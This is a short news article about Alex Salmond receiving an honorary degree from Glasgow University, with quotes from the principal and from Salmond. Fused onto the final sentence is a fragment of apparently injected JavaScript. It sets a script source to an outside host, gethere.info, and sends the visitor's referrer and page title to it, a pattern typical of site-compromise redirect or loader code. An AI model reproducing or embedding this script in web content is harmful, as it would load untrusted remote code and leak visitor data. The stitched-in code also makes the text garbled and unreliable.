By Émer O’Toole, News Editor
Former first minister Alex Salmond has been awarded an honorary degree by Glasgow University.
Salmond received his award during a ceremony at Bute Hall, and joined previous recipients, including Donald Dewer, Sir Menzies Campbell and Charles Kennedy.
The University said the honorary degree was in recognition of Salmond’s contribution to public life.
Glasgow University principal, Professor Muscatelli, spoke of how “higher education was a key part” of Salmond’s government programme and how “in spite of challenging economic circumstances” Salmond’s government “supported the global ambition of Scotland’s universities whilst encouraging access from all who had talent and ambition to learn.”
“Mr. Salmond led Scotland during what was arguably the most important period of constitutional debate in the last 300 years, leading to the 2014 Independence Referendum.
He stood down as First Minister and SNP leader in the aftermath of the Referendum, but in seeking to return to Westminster at the forthcoming General Election he continues to play an important role in British politics.”
Salmond added: “I’m absolutely delighted to receive this honour from the University of Glasgow – one of Scotland’s most distinguished institutions…I am extremely proud of what the SNP in government has achieved for Scottish education – principally the abolition of tuition fees, which has restored a long tradition of education based on the ability to learn, not the ability to pay.”
The University also awarded an honorary degree to Gordon Brown on 29 April.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
